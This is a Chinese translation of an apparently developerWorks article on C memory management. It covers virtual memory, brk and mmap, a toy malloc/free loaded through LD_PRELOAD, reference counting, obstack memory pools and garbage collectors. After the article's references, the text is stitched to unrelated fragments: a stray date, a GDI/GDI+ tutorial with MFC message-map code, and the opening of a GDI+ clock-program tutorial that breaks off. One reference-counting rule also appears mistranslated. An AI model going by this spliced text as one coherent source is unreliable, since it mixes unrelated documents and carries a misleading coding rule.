要理解内存在程序中是如何分配的,首先需要理解如何将内存从操作系统分配给程序。计算机上的每一个进程都认为自己可以访问所有的物理内存。显然,由于同时在运行多个程序,所以每个进程不可能拥有全部内存。实际上,这些进程使用的是 虚拟内存 。
只是作为一个例子,让我们假定您的程序正在访问地址为 629 的内存。不过,虚拟内存系统不需要将其存储在位置为 629 的 RAM 中。实际上,它甚至可以不在 RAM 中 —— 如果物理 RAM 已经满了,它甚至可能已经被转移到硬盘上!由于这类地址不必反映内存所在的物理位置,所以它们被称为虚拟内存。操作系统维持着一个虚拟地址到物理地址的转换的表,以便计算机硬件可以正确地响应地址请求。并且,如果地址在硬盘上而不是在 RAM 中,那么操作系统将暂时停止您的进程,将其他内存转存到硬盘中,从硬盘上加载被请求的内存,然后再重新启动您的进程。这样,每个进程都获得了自己可以使用的地址空间,可以访问比您物理上安装的内存更多的内存。
在 32-位 x86 系统上,每一个进程可以访问 4 GB 内存。现在,大部分人的系统上并没有 4 GB 内存,即使您将 swap 也算上, 每个进程 所使用的内存也肯定少于 4 GB。因此,当加载一个进程时,它会得到一个取决于某个称为 系统中断点(system break) 的特定地址的初始内存分配。该地址之后是未被映射的内存 —— 用于在 RAM 或者硬盘中没有分配相应物理位置的内存。因此,如果一个进程运行超出了它初始分配的内存,那么它必须请求操作系统"映射进来(map in)"更多的内存。(映射是一个表示一一对应关系的数学术语 —— 当内存的虚拟地址有一个对应的物理地址来存储内存内容时,该内存将被映射。)
基于 UNIX 的系统有两个可映射到附加内存中的基本系统调用:
brk: brk() 是一个非常简单的系统调用。还记得系统中断点吗?该位置是进程映射的内存边界。 brk() 只是简单地将这个位置向前或者向后移动,就可以向进程添加内存或者从进程取走内存。
mmap: mmap(),或者说是"内存映像",类似于 brk(),但是更为灵活。首先,它可以映射任何位置的内存,而不单单只局限于进程。其次,它不仅可以将虚拟地址映射到物理的 RAM 或者 swap,它还可以将它们映射到文件和文件位置,这样,读写内存将对文件中的数据进行读写。不过,在这里,我们只关心 mmap 向进程添加被映射的内存的能力。
munmap() 所做的事情与 mmap() 相反。
如您所见, brk() 或者 mmap() 都可以用来向我们的进程添加额外的虚拟内存。在我们的例子中将使用 brk(),因为它更简单,更通用。
实现一个简单的分配程序
如果您曾经编写过很多 C 程序,那么您可能曾多次使用过 malloc() 和 free()。不过,您可能没有用一些时间去思考它们在您的操作系统中是如何实现的。本节将向您展示 malloc 和 free 的一个最简化实现的代码,来帮助说明管理内存时都涉及到了哪些事情。
要试着运行这些示例,需要先 复制本代码清单 ,并将其粘贴到一个名为 malloc.c 的文件中。接下来,我将一次一个部分地对该清单进行解释。
在大部分操作系统中,内存分配由以下两个简单的函数来处理:
void *malloc(long numbytes):该函数负责分配 numbytes 大小的内存,并返回指向第一个字节的指针。
void free(void *firstbyte):如果给定一个由先前的 malloc 返回的指针,那么该函数会将分配的空间归还给进程的"空闲空间"。
malloc_init 将是初始化内存分配程序的函数。它要完成以下三件事:将分配程序标识为已经初始化,找到系统中最后一个有效内存地址,然后建立起指向我们管理的内存的指针。这三个变量都是全局变量: 清单 1. 我们的简单分配程序的全局变量
int has_initialized = 0;
void *managed_memory_start;
void *last_valid_address;
如前所述,被映射的内存的边界(最后一个有效地址)常被称为系统中断点或者 当前中断点 。在很多 UNIX® 系统中,为了指出当前系统中断点,必须使用 sbrk(0) 函数。 sbrk 根据参数中给出的字节数移动当前系统中断点,然后返回新的系统中断点。使用参数 0 只是返回当前中断点。这里是我们的 malloc 初始化代码,它将找到当前中断点并初始化我们的变量:
清单 2. 分配程序初始化函数
/* Include the sbrk function */
#include <unistd.h>
void malloc_init()
{
/* grab the last valid address from the OS */
last_valid_address = sbrk(0);
/* we don't have any memory to manage yet, so
*just set the beginning to be last_valid_address
*/
managed_memory_start = last_valid_address;
/* Okay, we're initialized and ready to go */
has_initialized = 1;
}
现在,为了完全地管理内存,我们需要能够追踪要分配和回收哪些内存。在对内存块进行了 free 调用之后,我们需要做的是诸如将它们标记为未被使用的等事情,并且,在调用 malloc 时,我们要能够定位未被使用的内存块。因此, malloc 返回的每块内存的起始处首先要有这个结构: 清单 3. 内存控制块结构定义
struct mem_control_block {
int is_available;
int size;
};
现在,您可能会认为当程序调用 malloc 时这会引发问题 —— 它们如何知道这个结构?答案是它们不必知道;在返回指针之前,我们会将其移动到这个结构之后,把它隐藏起来。这使得返回的指针指向没有用于任何其他用途的内存。那样,从调用程序的角度来看,它们所得到的全部是空闲的、开放的内存。然后,当通过 free() 将该指针传递回来时,我们只需要倒退几个内存字节就可以再次找到这个结构。
在讨论分配内存之前,我们将先讨论释放,因为它更简单。为了释放内存,我们必须要做的惟一一件事情就是,获得我们给出的指针,回退 sizeof(struct mem_control_block) 个字节,并将其标记为可用的。这里是对应的代码: 清单 4. 解除分配函数
void free(void *firstbyte) {
struct mem_control_block *mcb;
/* Backup from the given pointer to find the
* mem_control_block
*/
mcb = firstbyte - sizeof(struct mem_control_block);
/* Mark the block as being available */
mcb->is_available = 1;
/* That's It! We're done. */
return;
}
如您所见,在这个分配程序中,内存的释放使用了一个非常简单的机制,在固定时间内完成内存释放。分配内存稍微困难一些。以下是该算法的略述: 清单 5. 主分配程序的伪代码
1. If our allocator has not been initialized, initialize it.
2. Add sizeof(struct mem_control_block) to the size requested.
3. start at managed_memory_start.
4. Are we at last_valid address?
5. If we are:
A. We didn't find any existing space that was large enough
-- ask the operating system for more and return that.
6. Otherwise:
A. Is the current space available (check is_available from
the mem_control_block)?
B. If it is:
i) Is it large enough (check "size" from the
mem_control_block)?
ii) If so:
a. Mark it as unavailable
b. Move past mem_control_block and return the
pointer
iii) Otherwise:
a. Move forward "size" bytes
b. Go back go step 4
C. Otherwise:
i) Move forward "size" bytes
ii) Go back to step 4
我们主要使用连接的指针遍历内存来寻找开放的内存块。这里是代码: 清单 6. 主分配程序
void *malloc(long numbytes) {
/* Holds where we are looking in memory */
void *current_location;
/* This is the same as current_location, but cast to a
* memory_control_block
*/
struct mem_control_block *current_location_mcb;
/* This is the memory location we will return. It will
* be set to 0 until we find something suitable
*/
void *memory_location;
/* Initialize if we haven't already done so */
if(! has_initialized) {
malloc_init();
}
/* The memory we search for has to include the memory
* control block, but the users of malloc don't need
* to know this, so we'll just add it in for them.
*/
numbytes = numbytes + sizeof(struct mem_control_block);
/* Set memory_location to 0 until we find a suitable
* location
*/
memory_location = 0;
/* Begin searching at the start of managed memory */
current_location = managed_memory_start;
/* Keep going until we have searched all allocated space */
while(current_location != last_valid_address)
{
/* current_location and current_location_mcb point
* to the same address. However, current_location_mcb
* is of the correct type, so we can use it as a struct.
* current_location is a void pointer so we can use it
* to calculate addresses.
*/
current_location_mcb =
(struct mem_control_block *)current_location;
if(current_location_mcb->is_available)
{
if(current_location_mcb->size >= numbytes)
{
/* Woohoo! We've found an open,
* appropriately-size location.
*/
/* It is no longer available */
current_location_mcb->is_available = 0;
/* We own it */
memory_location = current_location;
/* Leave the loop */
break;
}
}
/* If we made it here, it's because the Current memory
* block not suitable; move to the next one
*/
current_location = current_location +
current_location_mcb->size;
}
/* If we still don't have a valid location, we'll
* have to ask the operating system for more memory
*/
if(! memory_location)
{
/* Move the program break numbytes further */
sbrk(numbytes);
/* The new memory will be where the last valid
* address left off
*/
memory_location = last_valid_address;
/* We'll move the last valid address forward
* numbytes
*/
last_valid_address = last_valid_address + numbytes;
/* We need to initialize the mem_control_block */
current_location_mcb = memory_location;
current_location_mcb->is_available = 0;
current_location_mcb->size = numbytes;
}
/* Now, no matter what (well, except for error conditions),
* memory_location has the address of the memory, including
* the mem_control_block
*/
/* Move the pointer past the mem_control_block */
memory_location = memory_location + sizeof(struct mem_control_block);
/* Return the pointer */
return memory_location;
}
这就是我们的内存管理器。现在,我们只需要构建它,并在程序中使用它即可。
运行下面的命令来构建 malloc 兼容的分配程序(实际上,我们忽略了 realloc() 等一些函数,不过, malloc() 和 free() 才是最主要的函数): 清单 7. 编译分配程序
gcc -shared -fpic malloc.c -o malloc.so
该程序将生成一个名为 malloc.so 的文件,它是一个包含有我们的代码的共享库。
在 UNIX 系统中,现在您可以用您的分配程序来取代系统的 malloc(),做法如下: 清单 8. 替换您的标准的 malloc
LD_PRELOAD=/path/to/malloc.so
export LD_PRELOAD
LD_PRELOAD 环境变量使动态链接器在加载任何可执行程序之前,先加载给定的共享库的符号。它还为特定库中的符号赋予优先权。因此,从现在起,该会话中的任何应用程序都将使用我们的 malloc(),而不是只有系统的应用程序能够使用。有一些应用程序不使用 malloc(),不过它们是例外。其他使用 realloc() 等其他内存管理函数的应用程序,或者错误地假定
malloc() 内部行为的那些应用程序,很可能会崩溃。ash shell 似乎可以使用我们的新 malloc() 很好地工作。
如果您想确保 malloc() 正在被使用,那么您应该通过向函数的入口点添加 write() 调用来进行测试。
我们的内存管理器在很多方面都还存在欠缺,但它可以有效地展示内存管理需要做什么事情。它的某些缺点包括:
由于它对系统中断点(一个全局变量)进行操作,所以它不能与其他分配程序或者 mmap 一起使用。
当分配内存时,在最坏的情形下,它将不得不遍历 全部 进程内存;其中可能包括位于硬盘上的很多内存,这意味着操作系统将不得不花时间去向硬盘移入数据和从硬盘中移出数据。
没有很好的内存不足处理方案( malloc 只假定内存分配是成功的)。
它没有实现很多其他的内存函数,比如 realloc()。
由于 sbrk() 可能会交回比我们请求的更多的内存,所以在堆(heap)的末端会遗漏一些内存。
虽然 is_available 标记只包含一位信息,但它要使用完整的 4-字节 的字。
分配程序不是线程安全的。
分配程序不能将空闲空间拼合为更大的内存块。
分配程序的过于简单的匹配算法会导致产生很多潜在的内存碎片。
我确信还有很多其他问题。这就是为什么它只是一个例子!
其他 malloc 实现
malloc() 的实现有很多,这些实现各有优点与缺点。在设计一个分配程序时,要面临许多需要折衷的选择,其中包括:
分配的速度。
回收的速度。
有线程的环境的行为。
内存将要被用光时的行为。
局部缓存。
簿记(Bookkeeping)内存开销。
虚拟内存环境中的行为。
小的或者大的对象。
实时保证。
每一个实现都有其自身的优缺点集合。在我们的简单的分配程序中,分配非常慢,而回收非常快。另外,由于它在使用虚拟内存系统方面较差,所以它最适于处理大的对象。
还有其他许多分配程序可以使用。其中包括:
Doug Lea Malloc: Doug Lea Malloc 实际上是完整的一组分配程序,其中包括 Doug Lea 的原始分配程序,GNU libc 分配程序和 ptmalloc。 Doug Lea 的分配程序有着与我们的版本非常类似的基本结构,但是它加入了索引,这使得搜索速度更快,并且可以将多个没有被使用的块组合为一个大的块。它还支持缓存,以便更快地再次使用最近释放的内存。
ptmalloc 是 Doug Lea Malloc 的一个扩展版本,支持多线程。在本文后面的 参考资料 部分中,有一篇描述 Doug Lea 的 Malloc 实现的文章。
BSD Malloc: BSD Malloc 是随 4.2 BSD 发行的实现,包含在 FreeBSD 之中,这个分配程序可以从预先确实大小的对象构成的池中分配对象。它有一些用于对象大小的 size 类,这些对象的大小为 2 的若干次幂减去某一常数。所以,如果您请求给定大小的一个对象,它就简单地分配一个与之匹配的 size 类。这样就提供了一个快速的实现,但是可能会浪费内存。在
参考资料 部分中,有一篇描述该实现的文章。
Hoard:编写 Hoard 的目标是使内存分配在多线程环境中进行得非常快。因此,它的构造以锁的使用为中心,从而使所有进程不必等待分配内存。它可以显著地加快那些进行很多分配和回收的多线程进程的速度。在 参考资料 部分中,有一篇描述该实现的文章。
众多可用的分配程序中最有名的就是上述这些分配程序。如果您的程序有特别的分配需求,那么您可能更愿意编写一个定制的能匹配您的程序内存分配方式的分配程序。不过,如果不熟悉分配程序的设计,那么定制分配程序通常会带来比它们解决的问题更多的问题。要获得关于该主题的适当的介绍,请参阅 Donald Knuth 撰写的 The Art of Computer Programming Volume 1: Fundamental Algorithms
中的第 2.5 节"Dynamic Storage Allocation"(请参阅 参考资料 中的链接)。它有点过时,因为它没有考虑虚拟内存环境,不过大部分算法都是基于前面给出的函数。
在 C++ 中,通过重载 operator new(),您可以以每个类或者每个模板为单位实现自己的分配程序。在 Andrei Alexandrescu 撰写的 Modern C++ Design 的第 4 章("Small Object Allocation")中,描述了一个小对象分配程序(请参阅
参考资料 中的链接)。
基于 malloc() 的内存管理的缺点
不只是我们的内存管理器有缺点,基于 malloc() 的内存管理器仍然也有很多缺点,不管您使用的是哪个分配程序。对于那些需要保持长期存储的程序使用 malloc() 来管理内存可能会非常令人失望。如果您有大量的不固定的内存引用,经常难以知道它们何时被释放。生存期局限于当前函数的内存非常容易管理,但是对于生存期超出该范围的内存来说,管理内存则困难得多。而且,关于内存管理是由进行调用的程序还是由被调用的函数来负责这一问题,很多 API 都不是很明确。
因为管理内存的问题,很多程序倾向于使用它们自己的内存管理规则。C++ 的异常处理使得这项任务更成问题。有时好像致力于管理内存分配和清理的代码比实际完成计算任务的代码还要多!因此,我们将研究内存管理的其他选择。
半自动内存管理策略
引用计数
引用计数是一种 半自动(semi-automated) 的内存管理技术,这表示它需要一些编程支持,但是它不需要您确切知道某一对象何时不再被使用。引用计数机制为您完成内存管理任务。
在引用计数中,所有共享的数据结构都有一个域来包含当前活动"引用"结构的次数。当向一个程序传递一个指向某个数据结构指针时,该程序会将引用计数增加 1。实质上,您是在告诉数据结构,它正在被存储在多少个位置上。然后,当您的进程完成对它的使用后,该程序就会将引用计数减少 1。结束这个动作之后,它还会检查计数是否已经减到零。如果是,那么它将释放内存。
这样做的好处是,您不必追踪程序中某个给定的数据结构可能会遵循的每一条路径。每次对其局部的引用,都将导致计数的适当增加或减少。这样可以防止在使用数据结构时释放该结构。不过,当您使用某个采用引用计数的数据结构时,您必须记得运行引用计数函数。另外,内置函数和第三方的库不会知道或者可以使用您的引用计数机制。引用计数也难以处理发生循环引用的数据结构。
要实现引用计数,您只需要两个函数 —— 一个增加引用计数,一个减少引用计数并当计数减少到零时释放内存。
一个示例引用计数函数集可能看起来如下所示: 清单 9. 基本的引用计数函数
/* Structure Definitions*/
/* Base structure that holds a refcount */
struct refcountedstruct
{
int refcount;
}
/* All refcounted structures must mirror struct
* refcountedstruct for their first variables
*/
/* Refcount maintenance functions */
/* Increase reference count */
void REF(void *data)
{
struct refcountedstruct *rstruct;
rstruct = (struct refcountedstruct *) data;
rstruct->refcount++;
}
/* Decrease reference count */
void UNREF(void *data)
{
struct refcountedstruct *rstruct;
rstruct = (struct refcountedstruct *) data;
rstruct->refcount--;
/* Free the structure if there are no more users */
if(rstruct->refcount == 0)
{
free(rstruct);
}
}
REF 和 UNREF 可能会更复杂,这取决于您想要做的事情。例如,您可能想要为多线程程序增加锁,那么您可能想扩展 refcountedstruct,使它同样包含一个指向某个在释放内存之前要调用的函数的指针(类似于面向对象语言中的析构函数 —— 如果您的结构中包含这些指针,那么这是 必需的 )。
当使用 REF 和 UNREF 时,您需要遵守这些指针的分配规则:
UNREF 分配前左端指针(left-hand-side pointer)指向的值。
REF 分配后左端指针(left-hand-side pointer)指向的值。
在传递使用引用计数的结构的函数中,函数需要遵循以下这些规则:
在函数的起始处 REF 每一个指针。
在函数的结束处 UNREF 第一个指针。
以下是一个使用引用计数的生动的代码示例: 清单 10. 使用引用计数的示例
/* EXAMPLES OF USAGE */
/* Data type to be refcounted */
struct mydata
{
int refcount; /* same as refcountedstruct */
int datafield1; /* Fields specific to this struct */
int datafield2;
/* other declarations would go here as appropriate */
};
/* Use the functions in code */
void dosomething(struct mydata *data)
{
REF(data);
/* Process data */
/* when we are through */
UNREF(data);
}
struct mydata *globalvar1;
/* Note that in this one, we don't decrease the
* refcount since we are maintaining the reference
* past the end of the function call through the
* global variable
*/
void storesomething(struct mydata *data)
{
REF(data); /* passed as a parameter */
globalvar1 = data;
REF(data); /* ref because of Assignment */
UNREF(data); /* Function finished */
}
由于引用计数是如此简单,大部分程序员都自已去实现它,而不是使用库。不过,它们依赖于 malloc 和 free 等低层的分配程序来实际地分配和释放它们的内存。
在 Perl 等高级语言中,进行内存管理时使用引用计数非常广泛。在这些语言中,引用计数由语言自动地处理,所以您根本不必担心它,除非要编写扩展模块。由于所有内容都必须进行引用计数,所以这会对速度产生一些影响,但它极大地提高了编程的安全性和方便性。以下是引用计数的益处:
实现简单。
易于使用。
由于引用是数据结构的一部分,所以它有一个好的缓存位置。
不过,它也有其不足之处:
要求您永远不要忘记调用引用计数函数。
无法释放作为循环数据结构的一部分的结构。
减缓几乎每一个指针的分配。
尽管所使用的对象采用了引用计数,但是当使用异常处理(比如 try 或 setjmp()/ longjmp())时,您必须采取其他方法。
需要额外的内存来处理引用。
引用计数占用了结构中的第一个位置,在大部分机器中最快可以访问到的就是这个位置。
在多线程环境中更慢也更难以使用。
C++ 可以通过使用 智能指针(smart pointers) 来容忍程序员所犯的一些错误,智能指针可以为您处理引用计数等指针处理细节。不过,如果不得不使用任何先前的不能处理智能指针的代码(比如对 C 库的联接),实际上,使用它们的后果通实比不使用它们更为困难和复杂。因此,它通常只是有益于纯 C++ 项目。如果您想使用智能指针,那么您实在应该去阅读 Alexandrescu 撰写的 Modern C++ Design
一书中的"Smart Pointers"那一章。
内存池
内存池是另一种半自动内存管理方法。内存池帮助某些程序进行自动内存管理,这些程序会经历一些特定的阶段,而且每个阶段中都有分配给进程的特定阶段的内存。例如,很多网络服务器进程都会分配很多针对每个连接的内存 —— 内存的最大生存期限为当前连接的存在期。Apache 使用了池式内存(pooled memory),将其连接拆分为各个阶段,每个阶段都有自己的内存池。在结束每个阶段时,会一次释放所有内存。
在池式内存管理中,每次内存分配都会指定内存池,从中分配内存。每个内存池都有不同的生存期限。在 Apache 中,有一个持续时间为服务器存在期的内存池,还有一个持续时间为连接的存在期的内存池,以及一个持续时间为请求的存在期的池,另外还有其他一些内存池。因此,如果我的一系列函数不会生成比连接持续时间更长的数据,那么我就可以完全从连接池中分配内存,并知道在连接结束时,这些内存会被自动释放。另外,有一些实现允许注册 清除函数(cleanup functions)
,在清除内存池之前,恰好可以调用它,来完成在内存被清理前需要完成的其他所有任务(类似于面向对象中的析构函数)。
要在自己的程序中使用池,您既可以使用 GNU libc 的 obstack 实现,也可以使用 Apache 的 Apache Portable Runtime。GNU obstack 的好处在于,基于 GNU 的 Linux 发行版本中默认会包括它们。Apache Portable Runtime 的好处在于它有很多其他工具,可以处理编写多平台服务器软件所有方面的事情。要深入了解 GNU obstack 和 Apache 的池式内存实现,请参阅
参考资料 部分中指向这些实现的文档的链接。
下面的假想代码列表展示了如何使用 obstack: 清单 11. obstack 的示例代码
#include <obstack.h>
#include <stdlib.h>
/* Example code listing for using obstacks */
/* Used for obstack macros (xmalloc is
a malloc function that exits if memory
is exhausted */
#define obstack_chunk_alloc xmalloc
#define obstack_chunk_free free
/* Pools */
/* Only permanent allocations should go in this pool */
struct obstack *global_pool;
/* This pool is for per-connection data */
struct obstack *connection_pool;
/* This pool is for per-request data */
struct obstack *request_pool;
void allocation_failed()
{
exit(1);
}
int main()
{
/* Initialize Pools */
global_pool = (struct obstack *)
xmalloc (sizeof (struct obstack));
obstack_init(global_pool);
connection_pool = (struct obstack *)
xmalloc (sizeof (struct obstack));
obstack_init(connection_pool);
request_pool = (struct obstack *)
xmalloc (sizeof (struct obstack));
obstack_init(request_pool);
/* Set the error handling function */
obstack_alloc_failed_handler = &allocation_failed;
/* Server main loop */
while(1)
{
wait_for_connection();
/* We are in a connection */
while(more_requests_available())
{
/* Handle request */
handle_request();
/* Free all of the memory allocated
* in the request pool
*/
obstack_free(request_pool, NULL);
}
/* We're finished with the connection, time
* to free that pool
*/
obstack_free(connection_pool, NULL);
}
}
int handle_request()
{
/* Be sure that all object allocations are allocated
* from the request pool
*/
int bytes_i_need = 400;
void *data1 = obstack_alloc(request_pool, bytes_i_need);
/* Do stuff to process the request */
/* return */
return 0;
}
基本上,在操作的每一个主要阶段结束之后,这个阶段的 obstack 会被释放。不过,要注意的是,如果一个过程需要分配持续时间比当前阶段更长的内存,那么它也可以使用更长期限的 obstack,比如连接或者全局内存。传递给 obstack_free() 的 NULL 指出它应该释放 obstack 的全部内容。可以用其他的值,但是它们通常不怎么实用。
使用池式内存分配的益处如下所示:
应用程序可以简单地管理内存。
内存分配和回收更快,因为每次都是在一个池中完成的。分配可以在 O(1) 时间内完成,释放内存池所需时间也差不多(实际上是 O(n) 时间,不过在大部分情况下会除以一个大的因数,使其变成 O(1))。
可以预先分配错误处理池(Error-handling pools),以便程序在常规内存被耗尽时仍可以恢复。
有非常易于使用的标准实现。
池式内存的缺点是:
内存池只适用于操作可以分阶段的程序。
内存池通常不能与第三方库很好地合作。
如果程序的结构发生变化,则不得不修改内存池,这可能会导致内存管理系统的重新设计。
您必须记住需要从哪个池进行分配。另外,如果在这里出错,就很难捕获该内存池。
垃圾收集
垃圾收集(Garbage collection) 是全自动地检测并移除不再使用的数据对象。垃圾收集器通常会在当可用内存减少到少于一个具体的阈值时运行。通常,它们以程序所知的可用的一组"基本"数据 —— 栈数据、全局变量、寄存器 —— 作为出发点。然后它们尝试去追踪通过这些数据连接到每一块数据。收集器找到的都是有用的数据;它没有找到的就是垃圾,可以被销毁并重新使用这些无用的数据。为了有效地管理内存,很多类型的垃圾收集器都需要知道数据结构内部指针的规划,所以,为了正确运行垃圾收集器,它们必须是语言本身的一部分。
收集器的类型
复制(copying): 这些收集器将内存存储器分为两部分,只允许数据驻留在其中一部分上。它们定时地从"基本"的元素开始将数据从一部分复制到另一部分。内存新近被占用的部分现在成为活动的,另一部分上的所有内容都认为是垃圾。另外,当进行这项复制操作时,所有指针都必须被更新为指向每个内存条目的新位置。因此,为使用这种垃圾收集方法,垃圾收集器必须与编程语言集成在一起。
标记并清理(Mark and sweep): 每一块数据都被加上一个标签。不定期的,所有标签都被设置为 0,收集器从"基本"的元素开始遍历数据。当它遇到内存时,就将标签标记为 1。最后没有被标记为 1 的所有内容都认为是垃圾,以后分配内存时会重新使用它们。
增量的(Incremental): 增量垃圾收集器不需要遍历全部数据对象。因为在收集期间的突然等待,也因为与访问所有当前数据相关的缓存问题(所有内容都不得不被页入(page-in)),遍历所有内存会引发问题。增量收集器避免了这些问题。
保守的(Conservative): 保守的垃圾收集器在管理内存时不需要知道与数据结构相关的任何信息。它们只查看所有数据类型,并假定它们 可以 全部都是指针。所以,如果一个字节序列可以是一个指向一块被分配的内存的指针,那么收集器就将其标记为正在被引用。有时没有被引用的内存会被收集,这样会引发问题,例如,如果一个整数域中包含一个值,该值是已分配内存的地址。不过,这种情况极少发生,而且它只会浪费少量内存。保守的收集器的优势是,它们可以与任何编程语言相集成。
Hans Boehm 的保守垃圾收集器是可用的最流行的垃圾收集器之一,因为它是免费的,而且既是保守的又是增量的,可以使用 --enable-redirect-malloc 选项来构建它,并且可以将它用作系统分配程序的简易替代者(drop-in replacement)(用 malloc/ free 代替它自己的 API)。实际上,如果这样做,您就可以使用与我们在示例分配程序中所使用的相同的
LD_PRELOAD 技巧,在系统上的几乎任何程序中启用垃圾收集。如果您怀疑某个程序正在泄漏内存,那么您可以使用这个垃圾收集器来控制进程。在早期,当 Mozilla 严重地泄漏内存时,很多人在其中使用了这项技术。这种垃圾收集器既可以在 Windows® 下运行,也可以在 UNIX 下运行。
垃圾收集的一些优点:
您永远不必担心内存的双重释放或者对象的生命周期。
使用某些收集器,您可以使用与常规分配相同的 API。
其缺点包括:
使用大部分收集器时,您都无法干涉何时释放内存。
在多数情况下,垃圾收集比其他形式的内存管理更慢。
垃圾收集错误引发的缺陷难于调试。
如果您忘记将不再使用的指针设置为 null,那么仍然会有内存泄漏。
结束语
一切都需要折衷:性能、易用、易于实现、支持线程的能力等,这里只列出了其中的一些。为了满足项目的要求,有很多内存管理模式可以供您使用。每种模式都有大量的实现,各有其优缺点。对很多项目来说,使用编程环境默认的技术就足够了,不过,当您的项目有特殊的需要时,了解可用的选择将会有帮助。下表对比了本文中涉及的内存管理策略。
表 1. 内存分配策略的对比
策略
分配速度
回收速度
局部缓存
易用性
通用性
实时可用
SMP 线程友好
定制分配程序
取决于实现
取决于实现
取决于实现
很难
无
取决于实现
取决于实现
简单分配程序
内存使用少时较快
很快
差
容易
高
否
否
GNU malloc
中
快
中
容易
高
否
中
Hoard
中
中
中
容易
高
否
是
引用计数
N/A
N/A
非常好
中
中
是(取决于 malloc 实现)
取决于实现
池
中
非常快
极好
中
中
是(取决于 malloc 实现)
取决于实现
垃圾收集
中(进行收集时慢)
中
差
中
中
否
几乎不
增量垃圾收集
中
中
中
中
中
否
几乎不
增量保守垃圾收集
中
中
中
容易
高
否
几乎不
参考资料
您可以参阅本文在 developerWorks 全球站点上的 英文原文 。
Web 上的文档
基本的分配程序
池式分配程序
智能指针和定制分配程序
垃圾收集器
关于现代操作系统中的虚拟内存的文章
关于 malloc 的文章
关于定制分配程序的文章
关于垃圾收集的文章
Web 上的通用参考资料
书籍
来自 developerWorks
关于作者
10 avril
1.基本概念 GDI在Windows中定义为Graphics Device Interface,即图形设备接口,是Windows API(Application Programming Interface)的一个重要组成部分。它是Windows图形显示程序与实际物理设备之间的桥梁,GDI使得用户无需关心具体设备的细节,而只需在一个虚拟的环境(即逻辑设备)中进行操作。它的桥梁作用体现在:
(1)用户通过调用GDI函数将逻辑空间的操作转化为具体针对设备驱动程序的调用。
为实现图形设备无关性,Windows 的绘图操作在一个设备描述表上进行。用户拥有自己的"逻辑坐标"系统,它独立于实际的物理设备,与"设备坐标"相对应。开发Windows应用程序时,程序员关心的是逻辑坐标,我们在逻辑坐标系上绘图,利用GDI将逻辑窗口映射到物理设备上。
(2)GDI能检测具体设备的能力,并依据具体的设备以最优方式驱动这些设备,完成真实的显示。
GDI函数大致可分类为:设备上下文函数(如GetDC、CreateDC、DeleteDC)、 画线函数(如LineTo、Polyline、Arc)、填充画图函数(如Ellipse、FillRect、Pie)、画图属性函数(如SetBkColor、SetBkMode、SetTextColor)、文本、字体函数(如TextOut、GetFontData)、位图函数(如SetPixel、BitBlt、StretchBlt)、坐标函数(如DPtoLP、LPtoDP、ScreenToClient、ClientToScreen)、映射函数(如SetMapMode、SetWindowExtEx、SetViewportExtEx)、元文件函数(如PlayMetaFile、SetWinMetaFileBits)、区域函数(如FillRgn、FrameRgn、InvertRgn)、路径函数(如BeginPath、EndPath、StrokeAndFillPath)、裁剪函数(如SelectClipRgn、SelectClipPath)等。
GDI虽然使程序员得到了一定程度的解脱,但是其编程方式仍很麻烦。譬如,显示一张位图,程序员需要进行"装入位图―读取位图文件头信息―启用设备场景―调色板变换"等一连串操作。而有了GDI+,这些问题便迎刃而解了。
顾名思义,GDI+是GDI的增强版。它是微软在Windows 2000以后操作系统中提供的新接口,其通过一套部署为托管代码的类来展现,这套类被称为GDI+的"托管类接口"。GDI+主要提供了以下三类服务:
(1) 二维矢量图形:GDI+提供了存储图形基元自身信息的类(或结构体)、存储图形基元绘制方式信息的类以及实际进行绘制的类;
(2) 图像处理:大多数图片都难以划定为直线和曲线的集合,无法使用二维矢量图形方式进行处理。因此,GDI+为我们提供了Bitmap、Image等类,它们可用于显示、操作和保存BMP、JPG、GIF等图像格式。
(3) 文字显示:GDI+支持使用各种字体、字号和样式来显示文本。
GDI接口是基于函数的,而GDI+是基于C++类的对象化的应用程序编程接口,因此使用起来比GDI要方便。
2.例程简述 单击此处下载本文例程源代码 。
本文后续的讲解都基于这样的一个例子工程(例程的开发环境为Visual C++6.0,操作系统为Windows XP),它是一个基于对话框的MFC应用程序,包括2个父菜单:
(1) GDI
GDI父菜单下包括一个子菜单:
ID:IDM_GDI_DRAW_LINE caption:画线
单击事件:在窗口绘制正旋曲线
(2) GDI+
DIB位图父菜单下包括两个子菜单:
a. ID:IDM_GDIP_DRAW_LINE caption:画线
单击事件:在窗口绘制正旋曲线
b. caption:新增功能,其下又包括下列子菜单:
(ⅰ)ID:IDM_Gradient_Brush caption:渐变画刷
单击事件:在窗口演示GDI+的渐变画刷功能
(ⅱ)ID:IDM_Cardinal_Spline caption:基数样条
单击事件:在窗口演示GDI+的基数样条函数功能
(ⅲ)ID:IDM_Transformation_Matrix caption:变形和矩阵对象
单击事件:在窗口演示GDI+的变形和矩阵对象功能
(ⅳ)ID:IDM_Scalable_Region caption:可伸缩区域
单击事件:在窗口演示GDI+的可伸缩区域功能
(ⅴ)ID:IDM_IMAGE caption:图像
单击事件:在窗口演示GDI+的多种图像格式支持功能
(ⅵ)ID:IDM_Alpha_Blend caption:Alpha混合
单击事件:在窗口演示GDI+的Alpha混合功能
(ⅶ)ID:IDM_TEXT caption:文本
单击事件:在窗口演示GDI+的强大文本输出能力
后续篇章将集中在对上述菜单单击事件消息处理函数的讲解,下面的代码是整个对话框类CGdiexampleDlg的消息映射:
BEGIN_MESSAGE_MAP(CGdiexampleDlg, CDialog) //{{AFX_MSG_MAP(CGdiexampleDlg) ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_COMMAND(IDM_GDI_DRAW_LINE, OnGdiDrawLine) ON_COMMAND(IDM_GDIP_DRAW_LINE, OnGdipDrawLine)
ON_COMMAND(IDM_Gradient_Brush, OnGradientBrush) ON_COMMAND(IDM_Cardinal_Spline, OnCardinalSpline) ON_COMMAND(IDM_Transformation_Matrix, OnTransformationMatrix) ON_COMMAND(IDM_Scalable_Region, OnScalableRegion)
ON_COMMAND(IDM_IMAGE, OnImage) ON_COMMAND(IDM_Alpha_Blend, OnAlphaBlend) ON_COMMAND(IDM_TEXT, OnText) //}}AFX_MSG_MAP END_MESSAGE_MAP()
作者:
邵凯锋
下载源代码
一、概述
GDI+的应用使得平面图形图象编程变的更加容易,本文以一个基于对话框的时钟程序为例,在VC6.0中调用*.png图片实现半透明渐变窗口,该程序实现了指针式和数字式两种时钟显示方式。窗口实现了半透明渐变窗口、窗口拖动无移动矩形框、隐藏了任务栏窗体按钮等。 效果图如下:
图一 程序执行后与WindowXP桌面背景效果图
二、准备工作
